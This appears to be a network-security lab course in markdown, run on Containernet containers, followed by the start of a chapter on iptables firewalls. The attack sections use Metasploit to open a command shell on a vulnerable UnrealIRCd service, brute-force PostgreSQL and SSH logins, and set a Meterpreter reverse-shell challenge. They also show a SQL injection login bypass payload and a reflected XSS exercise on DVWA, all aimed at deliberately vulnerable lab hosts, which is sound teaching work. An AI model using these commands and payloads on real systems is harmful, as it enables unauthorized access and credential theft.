152 | [*] Writing to socket A
153 | [*] Writing to socket B
154 | [*] Reading from sockets...
155 | [*] Reading from socket B
156 | [*] B: "1kDD8bOZau1U2CMw\r\n"
157 | [*] Matching...
158 | [*] A is input...
159 | [*] Command shell session 1 opened (10.200.0.2:4444 -> 10.200.0.1:33638) at 2022-05-31 00:11:50 +0000
160 | ```
161 |
162 | From this point on, just as with the Telnet example on port 21, where you could access Alice's files, here you can also view files in the same way by issuing Linux commands.
163 |
164 | More details about the vulnerability found in UnreaIRCD can be found at https://www.cvedetails.com/cve/CVE-2010-2075/.
165 |
166 |
167 |
168 |
169 | ## Extracting Database Information
170 |
171 | The Metasploit Framework provides backend database support for PostgreSQL. The database stores information such as host data and exploit results.
172 |
173 |
174 | In this exercise, Metasploit will be used to access Alice's database. Consider running the code below and opening a terminal for Chuck.
175 |
176 | ```
177 | #!/usr/bin/python
178 |
179 | '''@author: Ramon Fontes
180 | @email: ramon.fontes@imd.ufrn.br'''
181 |
182 | import os
183 |
184 | from containernet.net import Containernet
185 | from containernet.cli import CLI
186 | from containernet.term import makeTerm
187 | from mininet.log import info, setLogLevel
188 |
189 |
190 | def topology():
191 | "Create a network."
192 | DISPLAY_ID = 0
193 | net = Containernet(ipBase='10.200.0.0/24')
194 |
195 | os.system('sudo xhost +local:docker')
196 | os.system('export DISPLAY=:{}'.format(DISPLAY_ID))
197 |
198 | info("*** Creating nodes\n")
199 | s1 = net.addSwitch('s1', failMode="standalone")
200 | alice1 = net.addDocker('alice', dimage="ramonfontes/vulnerable", cpu_shares=20,
201 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
202 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
203 | mac='00:00:00:00:00:01')
204 | chuck1 = net.addDocker('chuck', dimage="ramonfontes/seguranca", cpu_shares=20,
205 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
206 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
207 | mac='00:00:00:00:00:02')
208 |
209 | info("*** Creating Links\n")
210 | net.addLink(s1, alice1)
211 | net.addLink(s1, chuck1)
212 |
213 | info("*** Starting network\n")
214 | net.build()
215 | s1.start([])
216 |
217 | alice1.cmd("echo \'10.200.0.1 alice\' > /etc/hosts")
218 | makeTerm(alice1, cmd="bash -c 'services.sh'")
219 |
220 | info("*** Running CLI\n")
221 | CLI(net)
222 |
223 | info("*** Stopping network\n")
224 | net.stop()
225 |
226 |
227 | if __name__ == '__main__':
228 | setLogLevel('info')
229 | topology()
230 | ```
231 |
232 | After starting the above code, we need to determine if the PostgreSQL service is running on the target. To do this, we can run an Nmap scan on port 5432, which is typically the default port for PostgreSQL. Use the -p flag to specify the port and -sV to enable version detection:
233 |
234 | ```
235 | chuck# nmap -sV 10.200.0.1 -p 5432
236 | Starting Nmap 7.80 ( https://nmap.org ) at 2022-05-31 12:01 GMT
237 | Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing ARP Ping Scan
238 | ARP Ping Scan Timing: About 100.00% done; ETC: 12:01 (0:00:00 remaining)
239 | Nmap scan report for 10.200.0.1
240 | Host is up (0.00033s latency).
241 |
242 | PORT STATE SERVICE VERSION
243 | 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
244 | MAC Address: 8A:43:62:F9:FA:76 (Unknown)
245 |
246 | Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
247 | Nmap done: 1 IP address (1 host up) scanned in 6.56 seconds
248 | ```
249 |
250 | We can see that the PostgreSQL service is open on the target and running versions 8.3.0–8.3.7.
251 |
252 | Now, Chuck uses the search function to search for PostgreSQL-related modules:
253 |
254 | ```
255 | chuck# msfconsole
256 | chuck-msf > search postgre
257 | ```
258 |
259 | The first one we'll cover will give us some information about the running version. It never hurts to double-check, as certain exploits will only work for certain versions. Therefore, load the module as follows:
260 |
261 | ```
262 | chuck-msf > use auxiliary/scanner/postgres/postgres_version
263 | chuck-msf > auxiliary(scanner/postgres/postgres_version) > set rhosts 10.200.0.1
264 | chuck-msf > auxiliary(scanner/postgres/postgres_version) > run
265 |
266 | [*] 10.200.0.1:5432 Postgres - Version PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4) (Post-Auth)
267 | [*] Scanned 1 of 1 hosts (100% complete)
268 | [*] Auxiliary module execution completed
269 | ```
270 |
271 | And we can see that the version number is 8.3.1, which is a bit more specific than what Nmap returned.
272 |
273 | The next module we'll look at will attempt to force a login to the PostgreSQL database using a list of default usernames and passwords. Load it as follows:
274 |
275 | ```
276 | chuck-msf > use auxiliary/scanner/postgres/postgres_login
277 | chuck-msf > auxiliary(scanner/postgres/postgres_login) > set rhosts 10.200.0.1
278 | chuck-msf > auxiliary(scanner/postgres/postgres_login) > run
279 |
280 | [!] No active DB -- Credential data will not be saved!
281 | [-] 10.200.0.1:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
282 | [-] 10.200.0.1:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)
283 | [-] 10.200.0.1:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
284 | [-] 10.200.0.1:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)
285 | [-] 10.200.0.1:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
286 | [-] 10.200.0.1:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password)
287 | [-] 10.200.0.1:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password)
288 | [+] 10.200.0.1:5432 - Login Successful: postgres:postgres@template1
289 | [-] 10.200.0.1:5432 - LOGIN FAILED: scott:@template1 (Incorrect: Invalid username or password)
290 | [-] 10.200.0.1:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: Invalid username or password)
291 | [-] 10.200.0.1:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: Invalid username or password)
292 | [-] 10.200.0.1:5432 - LOGIN FAILED: scott:password@template1 (Incorrect: Invalid username or password)
293 | [-] 10.200.0.1:5432 - LOGIN FAILED: scott:admin@template1 (Incorrect: Invalid username or password)
294 | [-] 10.200.0.1:5432 - LOGIN FAILED: admin:@template1 (Incorrect: Invalid username or password)
295 | [-] 10.200.0.1:5432 - LOGIN FAILED: admin:tiger@template1 (Incorrect: Invalid username or password)
296 | [-] 10.200.0.1:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: Invalid username or password)
297 | [-] 10.200.0.1:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
298 | [-] 10.200.0.1:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
299 | [-] 10.200.0.1:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
300 | [-] 10.200.0.1:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
301 | [*] Scanned 1 of 1 hosts (100% complete)
302 | [*] Auxiliary module execution completed
303 | ```
304 |
305 | We see it go through each username and password combination. Most of them fail, but we're left with a successful login.
306 |
307 |
308 | ## Gaining Shell Access
309 |
310 | Many attacks and vulnerabilities are used to obtain a shell, possibly with administrative privileges, on the victim's machine in order to take control of the system.
311 |
312 | In this exercise, Metasploit will be used to perform a brute-force attack on an SSH server after discovering its activity using Nmap. The framework will try all possible combinations of the usernames and passwords contained in the provided files, which are commonly chosen by the user.
313 |
314 | For this exercise, consider running the code below and open terminals for Alice and Chuck.
315 |
316 | ```
317 | #!/usr/bin/python
318 |
319 | '''@author: Ramon Fontes
320 | @email: ramon.fontes@imd.ufrn.br'''
321 |
322 | import os
323 |
324 | from containernet.net import Containernet
325 | from containernet.cli import CLI
326 | from mininet.log import info, setLogLevel
327 |
328 |
329 | def topology():
330 | "Create a network."
331 | DISPLAY_ID = 0
332 | net = Containernet(ipBase='10.200.0.0/24')
333 |
334 | os.system('sudo xhost +local:docker')
335 | os.system('export DISPLAY=:{}'.format(DISPLAY_ID))
336 |
337 | info("*** Creating nodes\n")
338 | s1 = net.addSwitch('s1', failMode="standalone")
339 | alice1 = net.addDocker('alice', dimage="ramonfontes/seguranca", cpu_shares=20,
340 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
341 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
342 | mac='00:00:00:00:00:01')
343 | chuck1 = net.addDocker('chuck', dimage="ramonfontes/seguranca", cpu_shares=20,
344 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
345 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
346 | mac='00:00:00:00:00:02')
347 |
348 | info("*** Creating Links\n")
349 | net.addLink(s1, alice1)
350 | net.addLink(s1, chuck1)
351 |
352 | info("*** Starting network\n")
353 | net.build()
354 | s1.start([])
355 |
356 | alice1.cmd("service ssh start")
357 | chuck1.cmd("echo \'admin\nseg\' >> usernames.txt")
358 | chuck1.cmd("echo \'admin\nseg\' >> passwords.txt")
359 |
360 | info("*** Running CLI\n")
361 | CLI(net)
362 |
363 | info("*** Stopping network\n")
364 | net.stop()
365 |
366 |
367 | if __name__ == '__main__':
368 | setLogLevel('info')
369 | topology()
370 | ```
371 |
372 | A terminal for Chuck will automatically open after running the above script. This terminal will install metasploit-framework.
373 |
374 | First, Chuck launches the Metasploit console:
375 |
376 | ```
377 | chuck# msfconsole
378 | ```
379 |
380 | Then, from the console, he scans the victim Alice with Nmap:
381 |
382 | ```
383 | chuck-msf > nmap -sS 10.200.0.1
384 | ```
385 | and discovers that the SSH port is open.
386 | Now he selects the module used to test SSH logins:
387 | ```
388 | chuck-msf > use auxiliary/scanner/ssh/ssh_login
389 | ```
390 |
391 | It sets the victim's IP, and files containing usernames and passwords to try to carry out the attack.
392 |
393 | ```
394 | chuck-msf auxiliary (scanner/ssh/ssh_login) > set RHOSTS 10.200.0.1
395 | chuck-msf auxiliary (scanner/ssh/ssh_login) > set USER_FILE usernames.txt
396 | chuck-msf auxiliary (scanner/ssh/ssh_login) > set PASS_FILE passwords.txt
397 | ```
398 |
399 | Finally, he runs the exploit:
400 | ```
401 | chuck-msf auxiliary (scanner/ssh/ssh_login) > exploit
402 | ```
403 |
404 | In Alice's Wireshark, it is possible to observe all the SSH requests made by Chuck, while after some time, in Chuck's terminal, a valid username and password combination appears that Chuck can now use to access Alice via SSH.
405 |
406 |
407 | #### Meterpreter Challenge
408 |
409 | Meterpreter is an advanced and extensible payload attack metasploit that provides an interactive shell from which an attacker can exploit the target machine and execute code. It communicates with the target machine via sockets and provides a comprehensive client-side Ruby API. It supports command history, tab completion, pipes, and more. It has the following features:
410 |
411 | - Meterpreter resides entirely in memory and does not write anything to disk.
412 | - No new processes are created, as Meterpreter injects itself into the compromised process and can easily migrate to other running processes.
413 | - By default, Meterpreter uses encrypted communications.
414 |
415 | ##### Meterpreter (Reverse Shell)
416 |
417 | Attack Script: Chuck wants to access Alice's computer, but Chuck is unaware of any security holes on Alice's computer. Therefore, he intends to use Meterpreter, available in the metasploit-framework package, to gain access to Alice's computer. His goal is to implement this scenario using the code below as a basis. Don't forget to answer how this attack can be prevented.
418 |
419 | Additional Information:
420 | - You can execute something on Alice to simulate her clicking (opening?) something. For example, you can open a page on Alice as if it were an action performed by her.
421 | - Use MSFVenom
422 |
423 | ```
424 | #!/usr/bin/python
425 |
426 | '''@author: Ramon Fontes
427 | @email: ramon.fontes@imd.ufrn.br'''
428 |
429 | import os
430 |
431 | from containernet.net import Containernet
432 | from containernet.cli import CLI
433 | from mininet.log import info, setLogLevel
434 |
435 |
436 | def topology():
437 | "Create a network."
438 | DISPLAY_ID = 0
439 | net = Containernet(ipBase='10.200.0.0/24')
440 |
441 | os.system('sudo xhost +local:docker')
442 | os.system('export DISPLAY=:{}'.format(DISPLAY_ID))
443 |
444 | info("*** Creating nodes\n")
445 | s1 = net.addSwitch('s1', failMode="standalone")
446 | alice1 = net.addDocker('alice', dimage="ramonfontes/seguranca", cpu_shares=20,
447 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
448 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
449 | mac='00:00:00:00:00:01')
450 | chuck1 = net.addDocker('chuck', dimage="ramonfontes/seguranca", cpu_shares=20,
451 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
452 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
453 | mac='00:00:00:00:00:02')
454 |
455 | info("*** Creating Links\n")
456 | net.addLink(s1, alice1)
457 | net.addLink(s1, chuck1)
458 |
459 | info("*** Starting network\n")
460 | net.build()
461 | s1.start([])
462 |
463 | info("*** Running CLI\n")
464 | CLI(net)
465 |
466 | info("*** Stopping network\n")
467 | net.stop()
468 |
469 |
470 | if __name__ == '__main__':
471 | setLogLevel('info')
472 | topology()
473 | ```
474 |
475 |
476 | ## Brute Force
477 |
478 | A brute force attack systematically tests all possible password or username combinations on a system until valid credentials are found. The goal of a brute force attack is to gain unauthorized access to a system. This not only risks the loss of sensitive data but also opens the possibility of privilege escalation for the attacker. If the compromised credentials have administrator-level access, this can result in complete system takeover.
479 |
480 | To perform the brute force attack, we will use the Damn Vulnerable Web Application (DVWA), which is an extremely vulnerable PHP/MySQL web application. Its main purpose is to help security professionals test their skills and tools in a legal environment, help web developers better understand web application protection processes, and help students and teachers learn about web application security in a controlled environment.
481 |
482 | The goal of the DVWA is to practice some of the most common web vulnerabilities, with various difficulty levels, using a simple and straightforward interface. Please note that there are both documented and undocumented vulnerabilities in this software. This is intentional. You are encouraged to try to figure out as many problems as possible.
483 |
484 | The DVWA /vulnerabilities/brute address is vulnerable to brute-force attacks against user authentication because it lacks adequate security measures. We will attempt to successfully obtain the administrator account password and access the Secure Administrative Area.
485 |
486 |
487 | ## SQL Injection
488 |
489 | SQL Injection (SQLi) is a security vulnerability that allows an attacker to interfere with SQL queries an application sends to the database. It occurs when the application fails to properly validate or sanitize user input, allowing entered data to be interpreted as SQL commands.
490 |
491 | **How it works:** Normally, a secure application would treat user input as data, not as part of the SQL statement. However, on a vulnerable system, the code might look something like:
492 |
493 | ```
494 | $username = $_POST['username'];
495 | $password = $_POST['password'];
496 |
497 | $query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
498 | ```
499 |
500 | And if the user enters:
501 | ```
502 | admin' OR '1'='1 --
503 | ```
504 |
505 | The resulting query will be:
506 | ```
507 | SELECT * FROM users WHERE username = 'admin' OR '1'='1' -- ' AND password = 'anything'
508 | ```
509 |
510 | For this exercise, consider running the code below. Running this code will automatically open a window to the web server that can be exploited in attacks.
511 | ```
512 | #!/usr/bin/python
513 |
514 | '''@author: Ramon Fontes
515 | @email: ramon.fontes@imd.ufrn.br'''
516 |
517 | import os
518 |
519 | from containernet.net import Containernet
520 | from containernet.cli import CLI
521 | from containernet.term import makeTerm
522 | from mininet.log import info, setLogLevel
523 |
524 |
525 | def topology():
526 | "Create a network."
527 | DISPLAY_ID = 0
528 | net = Containernet(ipBase='10.200.0.0/24')
529 |
530 | os.system('sudo xhost +local:docker')
531 | os.system('export DISPLAY=:{}'.format(DISPLAY_ID))
532 |
533 | info("*** Creating nodes\n")
534 | s1 = net.addSwitch('s1', failMode="standalone")
535 | webserver1 = net.addDocker('webserver', dimage="ramonfontes/xss_attack", cpu_shares=20,
536 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
537 | environment={'DISPLAY':":{}".format(DISPLAY_ID)}, mac='00:00:00:00:00:01')
538 | chuck1 = net.addDocker('chuck', dimage="ramonfontes/seguranca", cpu_shares=20,
539 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
540 | environment={'DISPLAY':":{}".format(DISPLAY_ID)}, mac='00:00:00:00:00:02')
541 |
542 | info("*** Creating Links\n")
543 | net.addLink(s1, webserver1)
544 | net.addLink(s1, chuck1)
545 |
546 | info("*** Starting network\n")
547 | net.build()
548 | s1.start([])
549 |
550 | webserver1.cmd("echo \'10.200.0.1 webserver\' > /etc/hosts")
551 | chuck1.cmd("echo \'10.200.0.1 mysite.com\' > /etc/hosts")
552 | makeTerm(webserver1, cmd="bash -c './main.sh'")
553 |
554 | info("*** Running CLI\n")
555 | CLI(net)
556 |
557 | info("*** Stopping network\n")
558 | net.stop()
559 |
560 |
561 | if __name__ == '__main__':
562 | setLogLevel('info')
563 | topology()
564 | ```
565 |
566 | After executing the code, open Firefox from a terminal in Chuck and go to http://mysite.com/vulnerabilities/brute. Then, log in using the admin/password credentials, click the Create/Reset Database button, and log in again using your login credentials.
567 |
568 | After accessing /vulnerabilities/brute, access "low.php" using the "view source" button in the footer and observe its contents. Then, enter the data as shown in the image below and confirm your successful login.
569 |
570 |
571 | ## XSS Attack
572 |
573 |
574 | Cross-Site Scripting (XSS) is a vulnerability that allows an attacker to inject malicious JavaScript code into pages viewed by other users. This code executes in the victim's browser, but with the context and permissions of the legitimate site, which can allow information theft, user interface manipulation, and even account takeover.
575 |
576 | **How it works:** A vulnerable website displays user-entered data without properly validating or filtering the content. This allows an attacker to insert malicious scripts that are then sent back and executed in the browser of anyone accessing the page.
577 |
578 | Vulnerable example:
579 |
580 | ```
581 |
582 | Hello, !
583 | ```
584 |
585 | If the attacker accesses:
586 |
587 | ```
588 | http://site.com/?nome=
589 | ```
590 |
591 | The victim's browser executes:
592 | ```
593 | alert('XSS');
594 | ```
595 |
596 | showing that JavaScript was successfully injected.
597 |
598 | For this exercise, consider running the code below. Running this code will automatically open a window to the web server that can be exploited in attacks.
599 |
600 | ```
601 | #!/usr/bin/python
602 |
603 | '''@author: Ramon Fontes
604 | @email: ramon.fontes@imd.ufrn.br'''
605 |
606 | import os
607 |
608 | from containernet.net import Containernet
609 | from containernet.cli import CLI
610 | from containernet.term import makeTerm
611 | from mininet.log import info, setLogLevel
612 |
613 |
614 | def topology():
615 | "Create a network."
616 | DISPLAY_ID = 0
617 | net = Containernet(ipBase='10.200.0.0/24')
618 |
619 | os.system('sudo xhost +local:docker')
620 | os.system('export DISPLAY=:{}'.format(DISPLAY_ID))
621 |
622 | info("*** Creating nodes\n")
623 | s1 = net.addSwitch('s1', failMode="standalone")
624 | webserver1 = net.addDocker('webserver', dimage="ramonfontes/xss_attack", cpu_shares=20,
625 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
626 | environment={'DISPLAY':":{}".format(DISPLAY_ID)}, mac='00:00:00:00:00:01')
627 | chuck1 = net.addDocker('chuck', dimage="ramonfontes/seguranca", cpu_shares=20,
628 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
629 | environment={'DISPLAY':":{}".format(DISPLAY_ID)}, mac='00:00:00:00:00:02')
630 |
631 | info("*** Creating Links\n")
632 | net.addLink(s1, webserver1)
633 | net.addLink(s1, chuck1)
634 |
635 | info("*** Starting network\n")
636 | net.build()
637 | s1.start([])
638 |
639 | webserver1.cmd("echo \'10.200.0.1 webserver\' > /etc/hosts")
640 | chuck1.cmd("echo \'10.200.0.1 mysite.com\' > /etc/hosts")
641 | makeTerm(webserver1, cmd="bash -c './main.sh'")
642 |
643 | info("*** Running CLI\n")
644 | CLI(net)
645 |
646 | info("*** Stopping network\n")
647 | net.stop()
648 |
649 |
650 | if __name__ == '__main__':
651 | setLogLevel('info')
652 | topology()
653 | ```
654 |
655 | After running the code, open Firefox from a terminal in Chuck and access the following address: http://mysite.com/vulnerabilities/xss_r/.
656 |
657 | In this exercise, we will execute Reflected XSS, which is a type of vulnerability in which the malicious code is not stored on the server, but rather immediately reflected in the application's response, typically from parameters submitted by the user.
658 |
659 | It occurs when:
660 | - The attacker sends data (via URL, form, or HTTP header).
661 | - The server inserts this data directly into the response page without validation or sanitization.
662 | - The victim's browser executes the malicious code as if it were a legitimate part of the website.
663 | To perform Reflected XSS, try the XSS payload in the input field:
664 |
665 |
666 | ```
667 |
668 | ```
669 |
670 |
671 | ## References
672 |
673 | - https://www.imperva.com/learn/application-security/backdoor-shell-attack/
674 | - https://www.safetydetectives.com/blog/what-is-a-backdoor-and-how-to-protect-against-it/
675 | - Holik, Filip, et al. "Effective penetration testing with Metasploit framework and methodologies." 2014 IEEE 15th International Symposium on Computational Intelligence and Informatics (CINTI). IEEE, 2014.
676 | - Maynor, David. Metasploit toolkit for penetration testing, exploit development, and vulnerability research. Elsevier, 2011.
677 | - Metasploitable 2 Exploitability Guide: https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide
678 | - https://github.com/digininja/DVWA
679 |
680 |
--------------------------------------------------------------------------------
/chapter2.md:
--------------------------------------------------------------------------------
1 |
2 | # Network Control and Protection
3 |
4 |
5 | ## Firewall
6 |
7 | A firewall is a security device or software designed to monitor, filter, and control network traffic between different segments, such as between an internal network and the Internet. It acts as a protective barrier, allowing or blocking data packets based on pre-defined security rules.
8 |
9 | The objective of this section is to experiment with the configuration and use of basic firewall elements, which provide filtering functionality at both the network and application levels.
10 |
11 |
12 | ### Packet Filter
13 |
14 | IPtables uses the concept of a "chain". Each chain is a list of rules (with an associated default policy) that can match a set of packets, and each rule specifies what to do with a packet that matches it. This is called a "target". In other words, a firewall rule specifies criteria for a packet and a target action. If a packet does not match a rule, the next rule in the chain is evaluated. To filter IP packets, the following three types of chains can be configured:
15 |
16 | - INPUT – contains rules that apply to IP packets addressed to the machine where IPtables is installed.
17 | - OUTPUT – contains rules that apply to IP packets originating from the machine where IPtables is installed.
18 | - FORWARD – contains rules that apply to IP packets that are neither addressed to nor originating from the machine where IPtables is installed but need to be routed (forwarded) to a specific interface (if IP forwarding is enabled).
19 |
20 | Additional chains can be created based on the operational scenario. IPtables can be configured using the iptables command; for more details, refer to the manual pages using man iptables. The main commands are illustrated below:
21 |
22 | - -P chain target sets the default policy (e.g., ACCEPT/DROP) for a chain (INPUT, OUTPUT, FORWARD) to the target value (see explanations below for target values).
23 | - -A chain and -I chain add a new rule at the end or beginning of a chain, respectively.
24 | - -D chain and -R chain delete or replace a rule in a chain, where the rule can be referenced by its index in the rule list or by an IP address.
25 | - -F [chain] flushes all rules in a specific chain (or all chains in the table if no chain is specified).
26 | - -N chain creates a new user-defined chain with the given name (the name must not already exist as a target).
27 | - -X chain deletes a user-defined chain.
28 | - -L or --list [chain] lists all rules in the selected chain; if no chain is specified, all chains are listed.
29 | - -h provides a brief description of the command syntax.
30 |
31 | When specifying a filtering rule, information about multiple parts of the IP packet is typically provided, such as source or destination address, or source and destination ports. IPtables provides a series of options to define these criteria (see man iptables for a full list):
32 |
33 | - -s IP_source – source IP address
34 | - -d IP_dest – destination IP address
35 | - --sport port – source port
36 | - --dport port – destination port
37 | - -i interface – network interface through which a packet was received (INPUT chain)
38 | - -o interface – network interface through which a packet will be sent (OUTPUT chain)
39 | - -p proto – protocol of the packet to be checked (tcp, udp, icmp, all, a numeric protocol value, or a protocol name from /etc/protocols)
40 | - -j action – action to be executed (target in IPtables notation)
41 | - -y or --syn – if -p tcp is used, matches only packets with the SYN flag set
42 | - --icmp-type type – equivalent to -p icmp, where type specifies the ICMP packet type
43 | - -l – enables logging of rule evaluation results via syslog in /var/log/messages
44 |
45 | The action to be executed, which corresponds to the target in an IPtables command, can have one of the following values:
46 |
47 | - ACCEPT – allows the packet to pass.
48 | - DROP – discards the packet silently, without sending any error notification.
49 | - REJECT – discards the packet but sends an error packet in response (by default, an "ICMP port unreachable" message is sent, though this can be customized with --reject-with).
50 | - QUEUE – passes the packet to user space (if supported by the kernel).
51 | - RETURN – stops traversing the current chain and resumes evaluation in the previous chain. If the end of a user-defined chain is reached or a RETURN-target rule is matched, the default policy of the chain determines the packet's fate.
52 |
53 | Other valid targets include any user-defined chains.
54 |
55 |
56 | #### Personal Firewall
57 |
58 | This exercise helps you become familiar with using the iptables command and then explains how to configure a local packet filter to protect a specific host.
59 |
60 | For this exercise, consider running the code provided below and open terminals for the hosts Alice and Bob.
61 |
62 | ```
63 | #!/usr/bin/python
64 |
65 | '''@author: Ramon Fontes
66 | @email: ramon.fontes@imd.ufrn.br'''
67 |
68 | import os
69 |
70 | from containernet.net import Containernet
71 | from containernet.cli import CLI
72 | from mininet.log import info, setLogLevel
73 |
74 |
75 | def topology():
76 | "Create a network."
77 | DISPLAY_ID = 0
78 | net = Containernet(ipBase='10.200.0.0/24')
79 |
80 | os.system('sudo xhost +local:docker')
81 | os.system('export DISPLAY=:{}'.format(DISPLAY_ID))
82 |
83 | info("*** Creating nodes\n")
84 | s1 = net.addSwitch('s1', failMode="standalone")
85 | alice1 = net.addDocker('alice', dimage="ramonfontes/seguranca", cpu_shares=20,
86 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
87 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
88 | mac='00:00:00:00:00:01')
89 | bob1 = net.addDocker('bob', dimage="ramonfontes/seguranca", cpu_shares=20,
90 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
91 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
92 | mac='00:00:00:00:00:02')
93 |
94 | info("*** Creating Links\n")
95 | net.addLink(s1, alice1)
96 | net.addLink(s1, bob1)
97 |
98 | info("*** Starting network\n")
99 | net.build()
100 | s1.start([])
101 |
102 | alice1.cmd("service ssh start")
103 | alice1.cmd("echo \'10.200.0.1 alice\' > /etc/hosts && service apache2 start")
104 |
105 | info("*** Running CLI\n")
106 | CLI(net)
107 |
108 | info("*** Stopping network\n")
109 | net.stop()
110 |
111 |
112 | if __name__ == '__main__':
113 | setLogLevel('info')
114 | topology()
115 | ```
116 |
117 | First, Alice checks the IPtables configuration on her machine using the following command:
118 |
119 | ```
120 | alice# iptables -L -v -n
121 | ```
122 |
123 | which is configured with the ACCEPT action for the INPUT, OUTPUT, and FORWARD chains.
124 |
125 | Next, Alice starts the SSH and Apache2 services, and Bob checks whether he can reach her via ping and the services she has enabled:
126 |
127 | ```
128 | bob# ping 10.200.0.1
129 | ```
130 |
131 | Alice checks the HTTP connection via telnet:
132 |
133 | ```
134 | bob# telnet 10.200.0.1 80
135 | ```
136 |
137 | She then connects to Alice's SSH server (the password for user seg is seg):
138 |
139 | ```
140 | bob# ssh seg@10.200.0.1
141 | ```
142 |
143 | At this point, Alice wants to protect herself from external connections, so a modification in the INPUT chain is required. The following command blocks all incoming connections:
144 |
145 | ```
146 | alice# iptables -P INPUT DROP
147 | ```
148 |
149 | Bob tries the same commands as before and finds that he can no longer reach Alice.
150 |
151 | Alice then allows all ICMP traffic by running:
152 |
153 | ```
154 | alice# iptables -A INPUT -p icmp -j ACCEPT
155 | ```
156 |
157 | Bob verifies that he can now ping Alice again.
158 |
159 | Next, Alice allows incoming TCP traffic to port 80:
160 |
161 | ```
162 | alice# iptables -A INPUT -p tcp --dport 80 -j ACCEPT
163 | ```
164 |
165 | Bob checks if he can now access http://10.200.0.1.
166 |
167 | Alice reviews her IPtables configuration again by running the same command from the beginning of the exercise, observing all the rules she has added.
168 |
169 | Then, Alice allows traffic to a port where no service is running, for example, port 81:
170 |
171 | ```
172 | alice# iptables -A INPUT -p tcp --dport 81 -j ACCEPT
173 | ```
174 |
175 | Bob starts Wireshark and runs the following Nmap scan:
176 |
177 | ```
178 | bob# nmap -sT -Pn -n -p 22,80,81 -v 10.200.0.1
179 | ```
180 |
181 | The results show that port 80 is open, port 81 is closed, and port 22 is filtered. But how does Nmap differentiate between closed and filtered ports? By observing the traffic in Wireshark, it can be seen that:
182 |
183 | - For port 80, Bob received a SYN-ACK packet from Alice, so Nmap detected it as open.
184 | - For port 81, Bob received a RST-ACK packet from Alice, indicating the port is closed (no service running).
185 | - For port 22, no response was received due to Alice’s firewall rules, so Nmap marked it as filtered.
186 |
187 | Later, Bob starts the Apache2 service, and Alice attempts to visit http://10.200.0.2, but she cannot access it. Observing the captured traffic from Bob, it can be seen that after receiving the TCP SYN packet, Bob responds with a SYN-ACK packet that is not directed to port 80. Due to Alice’s firewall rules, this packet is discarded.
188 |
189 |
190 | ### Stateless Packet Filter
191 |
192 | In this exercise, the host Chuck will act as a firewall between Alice and Bob. Specifically, he will be configured to function as a stateless packet filter. Chuck is not the usual “malicious” character but simply a firewall node or gateway between two network points.
193 |
194 | A stateless firewall treats each frame or network packet individually. These packet filters operate at the OSI Network Layer (Layer 3) and are more efficient because they only inspect the packet header. They do not track the context of the packet, such as the nature of the traffic. This type of firewall cannot determine whether a packet is part of an existing connection, attempting to establish a new connection, or simply an unauthorized packet.
195 |
196 | For this exercise, consider running the code provided below and open terminals for the hosts Alice, Bob, and Chuck.
197 |
198 | ```
199 | #!/usr/bin/python
200 |
201 | '''@author: Ramon Fontes
202 | @email: ramon.fontes@imd.ufrn.br'''
203 |
204 | import os
205 |
206 | from containernet.net import Containernet
207 | from containernet.cli import CLI
208 | from mininet.log import info, setLogLevel
209 |
210 |
211 | def topology():
212 | "Create a network."
213 | DISPLAY_ID = 0
214 | net = Containernet(ipBase='10.200.0.0/24')
215 |
216 | os.system('sudo xhost +local:docker')
217 | os.system('export DISPLAY=:{}'.format(DISPLAY_ID))
218 |
219 | info("*** Creating nodes\n")
220 | s1 = net.addSwitch('s1', failMode="standalone")
221 | alice1 = net.addDocker('alice', dimage="ramonfontes/seguranca", cpu_shares=20,
222 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'], privileged=True,
223 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
224 | mac='00:00:00:00:00:01')
225 | bob1 = net.addDocker('bob', dimage="ramonfontes/seguranca", cpu_shares=20,
226 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'], privileged=True,
227 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
228 | mac='00:00:00:00:00:02')
